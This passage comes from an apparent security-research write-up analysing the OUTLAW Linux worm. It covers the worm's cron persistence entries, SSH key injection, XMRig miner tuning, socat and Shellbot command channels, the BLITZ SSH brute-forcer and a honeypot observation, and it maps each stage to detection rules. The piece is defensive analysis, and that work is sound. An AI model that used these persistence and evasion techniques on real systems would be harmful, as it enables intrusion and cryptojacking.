<p>However, by changing the <code>eval</code> to an <code>echo</code>, we can get the output without any effort:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/05-deobfuscation.png" alt="De-obfuscated initall script" title="De-obfuscated `initall` script" /></p>
<p>This script will, by default, consistently execute <code>init</code>. This is the primary execution path that installs the malware in the hidden directory <code>~/.configrc6</code>. The fallback execution path is <code>init2</code>, which is used when <code>~/.configrc6</code> is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/06-subroutine.png" alt="Conditional sub-routines: init and init2" title="Conditional sub-routines: `init` and `init2`" /></p>
<p>The first script (<code>init</code>) hides its components in the hidden directory <code>~/.configrc6</code>, while the second script (<code>init2</code>) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named <code>a</code> in the <code>a/</code> and <code>b/</code> directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots:</p>
<pre><code class="language-text">5 6 * * 0   ~/.configrc6/a/upd
@reboot     ~/.configrc6/a/upd
5 8 * * 0   ~/.configrc6/b/sync
@reboot     ~/.configrc6/b/sync
0 0 */3 * * ~/.configrc6/c/aptitude
</code></pre>
<p>Although the scripts execute the <code>a</code> binary in the <code>a/</code> and <code>b/</code> directories nearly simultaneously, we will follow the execution flow of the <code>a/</code> directory first.</p>
<h3>Subroutine Execution of a/ directory: XMRIG</h3>
<p>The first script that is executed is <code>a</code>, which removes any existing cron jobs using <code>crontab -r</code> and then stores the current working directory in a variable. It then creates a shell script called <code>upd</code> that checks if a process (stored in <code>bash.pid</code>) is still running. If the process is not running, it executes <code>./run</code> as a background process, ensuring that the malware is continuously restarted if terminated.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/07-startup-a.png" alt="Startup script in the a/ directory" title="Startup script in the `a/` directory" /></p>
<p>Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as <code>rsync</code>, <code>go</code>, <code>kswapd0</code>, <code>blitz,</code> and <code>redtail</code>.</p>
<p>Further down the script, a function is created that checks if <code>/sys/module/msr/parameters/allow_writes</code> exists and sets it to &quot;on&quot; to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the <code>modprobe msr allow_writes=on</code> command.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/08-xmrig-optimize.png" alt="XMRig optimization function: enable MSR writes" title="XMRig optimization function: enable MSR writes" /></p>
<p>Next, the function identifies the active CPU by checking <code>/proc/cpuinfo</code> and applies specific MSR register values to optimize performance.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/09-xmrig-registers.png" alt="XMRIG optimization function: apply MSR registers" title="XMRIG optimization function: apply MSR registers" /></p>
<p>Finally, the function optimizes memory usage by enabling <code>hugepages</code> for all CPU cores, increasing memory access efficiency. It calculates the number of <code>hugepages</code> needed based on the available processors (<code>nproc</code>) and sets them in the <code>/sys/devices/system/node/node*/hugepages/</code> directories.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/10-xmrig-hugepages.png" alt="XMRig optimization function: enable hugepages" title="XMRig optimization function: enable `hugepages`" /></p>
<p>The <code>optimize_func()</code> function was not created by the threat actor. The threat actor used an open-source script from the <code>XMRig</code> repository, specifically the <a href="https://github.com/xmrig/xmrig/blob/master/scripts/randomx_boost.sh">randomx_boost.sh</a> script, to aid in their infection chain.</p>
<p>Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of <code>hugepages</code> through <code>sysctl</code>:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/11-condition-optimize.png" alt="Condition for running optimize_func() function" title="Condition for running `optimize_func()` function" /></p>
<p>All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the <code>upd</code> file and &quot;777&quot; permissions to all files in its folder and runs <code>upd</code>.</p>
<p>As we saw earlier in the chain, the <code>upd</code> file checks whether the process stored in <code>bash.pid</code> is still running, and if it is not, it will execute the <code>run</code> script:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/12-run-script-a.png" alt="The run script for thea/ folder" title="The `run` script for the `a/` folder" /></p>
<p>The run script will start the <code>stop</code> script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/13-stop-script-a.png" alt="The stop script for the a/ folder" title="The `stop` script for the `a/` folder" /></p>
<p>Interestingly enough, a second process-killing script called <code>init0</code> is present, which is an <a href="https://github.com/MinervaLabsResearch/BlogPosts/blob/master/MinerKiller/MinerKiller.sh">open-source script</a> for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the <code>a</code> script.</p>
<p>After the <code>stop</code> script has been successfully run, the <code>run</code> script starts the <code>kswapd01</code> and <code>kswapd0</code> binaries in the background via <code>nohup</code>.</p>
<h4>kswapd01</h4>
<p>The <code>kswap01</code> binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous <code>socat</code> process, which is essential for communication with the attacker’s C2 servers.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/14-kswapd01-main.png" alt="The main function of the kswapd01 socat wrapper" title="image_toThe main function of the `kswapd01` `socat` wrapperoltip" /></p>
<p>When executed, <code>kswap01</code> checks for any existing <code>socat</code> processes running on the infected machine. If no active connection is found, it proceeds to kill any running <code>socat</code> processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh <code>socat</code> process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker.</p>
<p>However, it's important to note that not every version of the OUTLAW malware package observed includes the <code>socat</code> binary. In these cases, the functionality provided by <code>socat</code> is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication.</p>
<p>By performing these checks and modifications, <code>kswap01</code> helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system.</p>
<h4>kswapd0</h4>
<p>The file named <code>kswapd0</code> is a maliciously modified copy of the legitimate <code>XMRig</code> cryptocurrency miner (specifically version 6.22.1).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/15-kswapd0-xmrig-version.png" alt="The XMRig version" title="The `XMRig` version" /></p>
<p>Two major modifications define the malware’s behavior:</p>
<p><strong>1. Startup Shell Commands</strong></p>
<ul>
<li>The malware removes and recreates the victim’s <code>~/.ssh</code> folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (<code>chattr +ia</code>) to prevent modification. This grants persistent SSH access.</li>
<li>It also removes or locks existing <code>XMRig</code> configuration files (e.g., <code>~/.xmrig.json</code>, <code>~/.config/xmrig.json</code>) to ensure the attacker’s embedded miner settings remain intact.</li>
</ul>
<p><strong>2. Embedded Miner Configuration</strong></p>
<ul>
<li>The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file.</li>
<li>Mining traffic is routed to multiple Monero pools over plaintext ports (<code>:80</code>, <code>:4444</code>), SSL (<code>:442</code>), and occasionally TOR addresses. Note that the port 442 here is not a typo.</li>
<li>The configuration optimizes performance by:
<ul>
<li>Running the miner in the background</li>
<li>Enabling large pages for <code>RandomX</code></li>
<li>Setting the donation level to zero</li>
<li>Maximizing CPU thread usage</li>
</ul>
</li>
</ul>
<p>By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, <code>kswapd0</code> serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process.</p>
<h3>Subroutine Execution of b/ directory: STEALTH SHELLBOT</h3>
<p>As we described earlier, the <code>a</code> binary in the <code>b/</code> directory was also executed via the <code>init</code> scripts.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/16-a-in-b-folder.png" alt="The a script in the b/ folder" title="The `a` script in the `b/` folder" /></p>
<p>This script kicks off another <code>stop</code> script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called <code>sync</code>, with the sole purpose of executing the <code>run</code> script. This script is referenced in the cronjob we described earlier. The <code>run</code> script contains three base64-encoded blobs, which are piped to <code>perl</code>. An example of a shortened script is shown below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/17-base64-encoded.png" alt="Base64 encoded code" title="Base64 encoded code" /></p>
<p>Upon base64 decoding, obfuscated <code>perl</code> scripts are identified. These scripts leverage a <a href="https://perlobfuscator.com/">public Perl Obfuscator</a> utility to obfuscate their contents, making them harder to analyze:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/18-perl-obfuscated-code.png" alt="Perl obfuscated code" title="Perl obfuscated code" /></p>
<p>Fortunately, the author left the standard comments in the obfuscated scripts. By using the <a href="https://perlobfuscator.com/decode-stunnix-5.17.1.pl">publicly available deobfuscator</a> we can deobfuscate the script through the following command:</p>
<pre><code class="language-bash">perl decode-stunnix-5.17.1.pl &lt; obfuscated_run.pl &gt; deobfuscated_run.pl
</code></pre>
<p>After which we can view the deobfuscated contents:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/19-perl-deobfuscated.png" alt="Part of the Stealth Shellbot Perl code" title="Part of the `Stealth Shellbot` Perl code" /></p>
<p>This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment.</p>
<p>The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through <code>chattr</code>:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/20-persistence.png" alt="Persistence via SSH key" title="Persistence via SSH key" /></p>
<h4>STEALTH SHELLBOT Scripts</h4>
<p>The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities.</p>
<p>SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can:</p>
<ul>
<li>Execute arbitrary shell commands</li>
<li>Download and execute additional payloads</li>
<li>Launch DDoS attacks (in older variants)</li>
<li>Steal credentials or exfiltrate system information</li>
<li>Manage crypto miners or other malware components</li>
</ul>
<p>OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions.</p>
<p>While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch.</p>
<h3>Subroutine Execution of c/ directory: Customer Bruteforcer</h3>
<p>As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the <code>init</code> and <code>init2</code> scripts. These scripts both call the <code>start</code> script, containing the following contents:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/21-start-script-in-c.png" alt="alt_tThe start script in the c/ folderext" title="The `start` script in the `c/` folder" /></p>
<p>This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named <code>aptitude</code> (which is also called by the previously set up cron job), to run the <code>run</code> script. After creating <code>aptitude</code>, it is granted execution permissions and is run.</p>
<p>The <code>run</code> script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/22-run-script-in-c.png" alt="The run script in the c/ folder" title="The `run` script in the `c/` folder" /></p>
<p>If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing <code>./go</code> in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary <code>golan</code> now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess.</p>
<p>In most scenarios, the execution flow moves to the bash script called <code>go</code>:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/23-go-script-in-c.png" alt="The go bash script in the c/ folder" title="The `go` bash script in the `c/` folder" /></p>
<p>The script determines the CPU architecture and assigns a thread count accordingly:</p>
<ul>
<li>ARM-based systems → 75 threads</li>
<li>i686 (32-bit x86) → 325 threads</li>
<li>All others (default) → 475 threads</li>
</ul>
<p>It then enters an infinite loop, executing the following actions:</p>
<ol>
<li>Creates and cleans up temporary files (<code>v</code>, <code>p</code>, <code>ip</code>, <code>xtr*</code>, <code>a.*</code>, <code>b.*</code>).</li>
<li>Writes hardcoded values (<code>257.287.563.234</code> and <code>sdaferthqhr34312asdfa</code>) into files <code>c</code> and <code>d</code>.</li>
<li>Waits for a random delay (1-30 seconds) before launching <code>blitz</code>.</li>
<li>Executes <code>blitz</code> for 3 hours with specified parameters (<code>-t $threads</code> suggests multi-threaded processing).</li>
<li>Performs post-execution cleanup, removing temporary and log files before repeating the cycle.</li>
</ol>
<h4>BLITZ</h4>
<p>OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention.</p>
<h5>BLITZ Execution Process</h5>
<p>Upon execution, BLITZ follows a structured attack sequence:</p>
<ol>
<li><strong>IP Target and Credential Retrieval</strong>
<ul>
<li>BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs.</li>
</ul>
</li>
<li><strong>Brute-Force Authentication &amp; System Profiling</strong>
<ul>
<li>Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials.</li>
<li>Once access is gained, it:
<ul>
<li>Changes the user’s password for persistent access.</li>
<li>Executes system reconnaissance commands, collecting:
<ul>
<li>User privileges</li>
<li>CPU details</li>
<li>SSH banner information</li>
<li>OS version</li>
</ul>
</li>
<li>Exfiltrates gathered data to the C2 server.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Subnet Scanning &amp; Lateral Movement</strong>
<ul>
<li>The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack.</li>
</ul>
</li>
<li><strong>Self-Replication &amp; Malware Deployment</strong>
<ul>
<li>Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure.</li>
</ul>
</li>
</ol>
<p>By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion.</p>
<h5>Binary Analysis &amp; C2 Communication</h5>
<p>Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/24-random-ip-select.png" alt="Random IP Selection for the C2 SSH server" title="Random IP Selection for the C2 SSH server" /></p>
<p>Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password &quot;pegasus&quot;. Upon successful authentication, Blitz logs attack details into a &quot;v&quot; file, structured as follows:</p>
<p>This log contains:</p>
<ul>
<li>Original username and password used in the attack.</li>
<li>The victim’s IP address and the new password set by the malware.</li>
<li>SSH port and OS details, including CPU specifications.</li>
</ul>
<p>Once BLITZ completes its scanning cycle, the &quot;v&quot; file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems.</p>
<h2>Post-Compromise</h2>
<p>To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions.</p>
<p>A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29.  The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via <code>wget</code>, unpacked it, and executed the newly fetched script.</p>
<p>This whole chain of activity can be displayed through <a href="https://www.elastic.co/de/guide/en/security/current/session-view.html">session view</a>, an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/01-honeypot.gif" alt="Threat actors actions in a honeypot" title="Threat actors actions in a honeypot" /></p>
<p>The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC.</p>
<p>This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual &quot;quality check&quot; of sorts—underscoring the importance of timely detection and swift containment.</p>
<h2>Detecting OUTLAW through MITRE ATT&amp;CK</h2>
<p>OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&amp;CK techniques, making it an effective case for detection engineering.</p>
<p>This section maps OUTLAW’s attack chain to MITRE ATT&amp;CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages.</p>
<p>OUTLAW follows a structured infection flow:</p>
<ul>
<li><strong>Initial Access</strong> – SSH brute-force against weak credentials.</li>
<li><strong>Execution</strong> – Runs malicious scripts to kick off several stages of malware infection.</li>
<li><strong>Persistence</strong> – Installs cron jobs and modifies SSH keys.</li>
<li><strong>Defense Evasion</strong> – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts.</li>
<li><strong>Credential Access</strong> – Modifies credentials and injects public SSH keys.</li>
<li><strong>Discovery</strong> – Enumerates user, system, and hardware details.</li>
<li><strong>Lateral Movement</strong> – Spreads via internal SSH brute-force and malware transfer.</li>
<li><strong>Collection &amp; Exfiltration</strong> – Collects and exfiltrates system data to its C2.</li>
<li><strong>Command and Control</strong> – Uses socat and STEALTH SHELLBOT for C2 communication.</li>
<li><strong>Impact</strong> – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node.</li>
</ul>
<p>The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections.</p>
<h3>TA001: Initial Access</h3>
<p>OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built <a href="https://github.com/elastic/detection-rules/">detection rules</a> can successfully detect this method of initial access. These include:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml">Potential External Linux SSH Brute Force Detected</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml">Potential Successful SSH Brute Force Attack</a></li>
</ul>
<p>Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml">Successful SSH Authentication from Unusual SSH Public Key</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml">Successful SSH Authentication from Unusual User</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml">Successful SSH Authentication from Unusual IP Address</a></li>
</ul>
<p>Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/de/guide/en/kibana/current/osquery.html">OSQuery</a>, publicly available in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>. For example, the following two hunts may help in identifying different stages of the attack:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/login_activity_by_source_address.toml">Logon Activity by Source IP</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml">Excessive SSH Network Activity to Unique Destinations</a></li>
</ul>
<h3>TA002: Execution</h3>
<p>After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar">Memory Threat Detection Alert: Linux.Trojan.Pornoasset</a></li>
</ul>
<p>The STEALTH SHELLBOT script is detected through:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml">Script Executed Through Unusual Parent Process</a></li>
</ul>
<p>Additionally, the malware executes multiple suspicious system commands, triggering:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml">Suspicious System Commands Executed by Previously Unknown Executable</a></li>
</ul>
<h3>TA003: Persistence</h3>
<p>This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our &quot;<a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a>&quot; publication. We can detect these techniques through the following SIEM and <a href="https://github.com/elastic/protections-artifacts">endpoint rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></li>
</ul>
<p>Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_cron.toml">Persistence via Cron</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_ssh_configurations_and_keys.toml">Persistence via SSH Configurations and/or Keys</a></li>
</ul>
<h3>TA005: Defense Evasion</h3>
<p>OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml">Base64 Decoded Payload Piped to Interpreter</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml">Unusual Base64 Encoding/Decoding Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_linux_payload_decoded_and_decrypted_via_built_in_utility.toml">Linux Payload Decoded and Decrypted via Built-in Utility</a></li>
</ul>
<p>Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections.</p>
<p>Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using <code>chattr</code>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_file_mod_writable_dir.toml">File Permission Modification in Writable Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_hidden_file_dir_tmp.toml">Creation of Hidden Files and Directories via CommandLine</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_chattr_immutable_file.toml">File made Immutable by Chattr</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/defense_evasion_chattr_execution_from_unusual_parent.toml">Chattr Execution from Unusual Parent</a></li>
</ul>
<p>We can further enhance detection through the following hunting query:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/hunting/linux/queries/defense_evasion_via_hidden_process_execution.toml">Hidden Process Execution</a></li>
</ul>
<h3>TA006: Credential Access</h3>
<p>OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml">SSH Authorized Keys File Deletion</a></li>
</ul>
<p>The malware then changes the user credentials for the authenticated account by entering a new password using the <code>passwd</code> utility:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml">Linux User Account Credential Modification</a></li>
</ul>
<h3>TA007: Discovery</h3>
<p>OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several <a href="https://www.elastic.co/de/guide/en/security/current/building-block-rule.html">building block rules</a>, as listed in our <a href="https://github.com/elastic/detection-rules/tree/main/rules_building_block">rules_building_block directory</a>. Below is a short list of the most important ones triggered by OUTLAW:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_process_discovery_via_builtin_tools.toml">Process Discovery via Built-In Applications</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_of_accounts_or_groups_via_builtin_tools.toml">Account or Group Discovery via Built-In Tools</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_system_network_connections.toml">System Network Connections Discovery</a></li>
</ul>
<p>The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats.</p>
<h3>TA008: Lateral Movement</h3>
<p>OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml">Potential Port Scanning Activity from Compromised Host</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_subnet_scanning_activity_from_compromised_host.toml">Potential Subnet Scanning Activity from Compromised Host</a></li>
</ul>
<p>Once a system is successfully brute-forced, the malware package, <code>dota3.tar.gz</code>, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation.</p>
<p>Elastic pre-built detection rules can identify these lateral movement attempts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/credential_access_potential_linux_ssh_bruteforce_internal.toml">Potential Internal Linux SSH Brute Force Detected</a></li>
